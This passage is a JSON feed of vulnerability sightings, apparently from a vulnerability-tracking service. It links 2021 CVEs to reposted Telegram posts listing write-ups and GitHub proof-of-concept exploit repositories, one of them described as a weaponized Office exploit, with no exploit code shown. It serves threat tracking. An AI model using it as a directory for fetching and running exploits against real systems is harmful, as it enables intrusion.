data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "4be0a409-bf94-4eb1-ba9a-23d42636fc66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "b280042b-c84e-4c54-a839-2f86a09a970c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3506", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (may 1-31)\nCVE-2021-31166 - HTTP Stack RCE\nhttps://t.me/cybersecuritytechnologies/3388\nCVE-2021-21551 -Dell BIOS Driver PE\nhttps://t.me/cybersecuritytechnologies/3293\nCVE-2021-30747 -Covert channel in Apple M1\nhttps://t.me/cybersecuritytechnologies/3472\nCVE-2021-22204 -DjVu vuln\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-28482 -MS Exchange RCE\nhttps://t.me/cybersecuritytechnologies/3286\nCVE-2021-21974 -VMware\u00a0ESXi heap-overflow\nhttps://t.me/cybersecuritytechnologies/3460\nCVE-2021-29447 -WordPress XXE\nhttps://t.me/cybersecuritytechnologies/3142\nCVE-2021-21985 - vSphere Client RCE\nhttps://t.me/cybersecuritytechnologies/3493\nCVE-2021-32471 -ACE in TuringMachine\nhttps://t.me/cybersecuritytechnologies/3364\nCVE-2021-3490 -Linux Kernel eBPF\nhttps://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e", "creation_timestamp": "2024-09-28T16:48:46.000000Z"}, {"uuid": "cecf7436-93ef-474e-b158-fc6112d8e1d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3514", "content": "#Threat_Research\n1. Threats from Readme:\nSuspected years of supply chain attack analysis\nhttps://security.tencent.com/index.php/blog/msg/192\n2. PoC for CVE-2021-28476 a guest-to-host\n\"Hyper-V RCE Vulnerability\" in vmswitch.sys\nhttps://github.com/0vercl0k/CVE-2021-28476", "creation_timestamp": "2021-06-01T19:22:49.000000Z"}, {"uuid": "9a33ace6-18e1-4aa4-8069-66e3d46d32e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4053", "content": "#exploit\nhAFL1 - Our Journey of Fuzzing Hyper-V and Discovering a Critical 0-Day (CVE-2021-28476)\nhttps://www.guardicore.com/labs/hafl1-our-journey-of-fuzzing-hyper-v-and-discovering-a-critical-0-day\n]-> Fuzzer hAFL1:\nhttps://github.com/SB-GC-Labs/hAFL1", "creation_timestamp": "2021-08-12T12:23:45.000000Z"}, {"uuid": "ba46ab0f-3841-4bac-a84e-c21147085ebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3732", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (June 1-30)\nCVE-2021-1675 - Windows Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-21985 - vSphere Client RCE\nhttps://t.me/cybersecuritytechnologies/3493\nCVE-2021-3560 - Privilege escalation with polkit\nhttps://t.me/cybersecuritytechnologies/3587\nCVE-2021-28476 - Hyper-V RCE in vmswitch.sys\nhttps://t.me/cybersecuritytechnologies/3514\nCVE-2020-3580 - XSS in Cisco ASA\nhttps://www.helpnetsecurity.com/2021/06/29/cve-2020-3580-exploit\nCVE-2021-31955/31956 - Windows NTFS EoP/Kernel Information Disclosure\nhttps://github.com/mavillon1/CVE-2021-31955-POC\nhttps://t.me/cybersecuritytechnologies/3705\nCVE-2021-33739 - MS DWM Core Library EoP\nhttps://t.me/cybersecuritytechnologies/3581\nCVE-2021-27850 - Apache Tapestry RCE\nhttps://t.me/cybersecuritytechnologies/3694\nCVE-2020-36289 - Atlassian Jira Unauth User Enum\nhttps://mobile.twitter.com/i/web/status/1402644004781633540", "creation_timestamp": "2021-07-01T11:03:01.000000Z"}, {"uuid": "f3520333-9a92-48ad-9f14-ae8f3e4f1fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3800", "content": "#Threat_Research\nCVE-2021-28474:\nSharePoint RCE via Server-Side Control Interpretation Conflict\nhttps://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict", "creation_timestamp": "2021-07-09T12:12:01.000000Z"}, {"uuid": "8a65e146-1cec-44f3-a420-c93c0f6e7725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28903", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3916", "content": "#exploit\nPoC for exploiting CVE-2021-28903:\nA stack overflow in libyang <= v1.0.225 can cause a denial of service through function lyxml_parse_mem()\nhttps://github.com/AlAIAL90/CVE-2021-28903", "creation_timestamp": "2021-07-25T18:31:14.000000Z"}, {"uuid": "35aa3cac-15c7-44d9-b9f3-53fd9a13e682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3948", "content": "#Cloud_Security\nCritical 9.9 Vulnerability In Hyper-V Allowed Attackers To Exploit Azure (CVE-2021-28476)\nhttps://www.guardicore.com/labs/critical-vulnerability-in-hyper-v-allowed-attackers-to-exploit-azure", "creation_timestamp": "2021-07-29T12:11:04.000000Z"}, {"uuid": "a9e91977-58c0-4c59-acec-304479396f58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4575", "content": "#exploit\nCVE-2021-28632, CVE-2021-39840:\nBypassing Locks in Adobe Reader\nhttps://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader", "creation_timestamp": "2021-10-22T11:03:01.000000Z"}, {"uuid": "51518225-db8d-47f7-ab3c-e48214c5ffe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4197", "content": "#Offensive_security\n1. Deception in Depth - LSASS Injection\nhttps://blog.spookysec.net/DnD-LSASS-Injection\n2. CVE-2021-28663:\nAndroid kernel backdoor vulnerability\nhttps://paper.seebug.org/1690\n// This vulnerability in the ARM Mali GPU driver can help an attacker:\n- steal other APP running memory data;\n- modify other APP code;\n- steal kernel running memory data;\n- stably obtain ROOT permission...", "creation_timestamp": "2021-09-01T11:10:02.000000Z"}, {"uuid": "d79361ac-a39d-465d-aad8-0660fc358b96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/4093", "content": "#Threat_Research\n1. ThroughTek \"Kalay\" Protocol Vulnerability (CVE-2021-28372)\nhttps://www.fireeye.com/blog/threat-research/2021/08/mandiant-discloses-critical-vulnerability-affecting-iot-devices.html\n2. Fortinet FortiWeb Vulnerability (CVE-2021-22123)\nhttps://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", "creation_timestamp": "2021-08-18T12:43:39.000000Z"}, {"uuid": "35c74670-a28b-4bed-9cb1-e4a4f1882f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28079", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4649", "content": "#exploit\n1. CVE-2021-28079:\nJamovi <=1.6.18 is affected by a cross-site scripting (XSS) vulnerability\nhttps://github.com/g33xter/CVE-2021-28079\n\n2. Silent DOC Exploit for Microsoft Office\nhttps://github.com/attakercyebr/Exploit-doc\n\n3. CVE-2021-3781:\nGhostscript sandbox bypass\nhttps://security.tencent.com/index.php/blog/msg/205", "creation_timestamp": "2024-10-04T14:45:29.000000Z"}, {"uuid": "e86db5a1-a3b6-44d5-a748-448399b33836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28449", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/4965", "content": "#Malware_analysis\n1. 3 New Malicious Packages Found on PyPI\nhttps://medium.com/ochrona/3-new-malicious-packages-found-on-pypi-a6bbb14b5e2\n2. A phishing document signed by Microsoft\nhttps://outflank.nl/blog/2021/12/09/a-phishing-document-signed-by-microsoft\n// Analysis of Microsoft\u2019s mitigations applied by CVE-2021-28449 + vulnerabilities in XLAM add-ins", "creation_timestamp": "2022-01-17T04:16:59.000000Z"}, {"uuid": "9aa440f4-78a5-4deb-95c8-f1ac9f7def73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1093", "content": "Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316) https://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2026-08-03T11:06:34.289761Z"}, {"uuid": "4acd9a2b-dc46-40ee-aa58-c8c3d5a7be85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-08-03T11:06:34.382404Z"}, {"uuid": "f87510a8-620c-4cd1-b267-08cd2c80e390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1125", "content": "Nice description (likely you will need Google Translate :)) \u00bb https://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f", "creation_timestamp": "2026-08-03T11:08:45.144916Z"}, {"uuid": "7ac8a77a-cce3-4ab8-891a-5d66f3d70efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/cyber0iq/18", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "creation_timestamp": "2021-09-25T02:14:31.000000Z"}, {"uuid": "42fdf1be-2760-404e-b130-b9f0f1180465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cyber0iq/18", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "creation_timestamp": "2021-09-25T02:14:31.000000Z"}, {"uuid": "f0fa936c-a5a4-4e24-b62e-2cc4223a1519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cyber0iq/19", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "creation_timestamp": "2021-09-25T02:15:23.000000Z"}, {"uuid": "a713d478-53fe-483e-8716-5f9ffe3dc50b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/cyber0iq/19", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "creation_timestamp": "2021-09-25T02:15:23.000000Z"}, {"uuid": "34f2caa0-b5f1-4577-9a11-e1aa01716127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1725", "content": "CVE-2021-28632 & CVE-2021-39840: Bypassing Locks in Adobe Reader https://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader", "creation_timestamp": "2026-08-03T05:00:04.648800Z"}, {"uuid": "bb69b4dc-e82d-451b-8a2e-39c772eec836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-11)", "content": "", "creation_timestamp": "2026-05-11T00:00:00.000000Z"}, {"uuid": "8f1abe21-3803-4193-89ee-72bf3a4419d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1125", "content": "Nice description (likely you will need Google Translate :)) \u00bb https://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f", "creation_timestamp": "2026-08-04T00:00:41.856534Z"}, {"uuid": "ff6e08d7-63ff-4ec7-8e6b-3868e9acbeff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1093", "content": "Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316) https://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2026-08-04T00:00:41.332766Z"}, {"uuid": "ea47fa71-12d3-4e56-8c33-f9bb482a7fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-08-04T00:00:41.382789Z"}, {"uuid": "da9f1fcf-ea96-4207-b3c9-7206d08e9d09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1725", "content": "CVE-2021-28632 & CVE-2021-39840: Bypassing Locks in Adobe Reader https://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader", "creation_timestamp": "2026-08-04T00:00:50.099438Z"}, {"uuid": 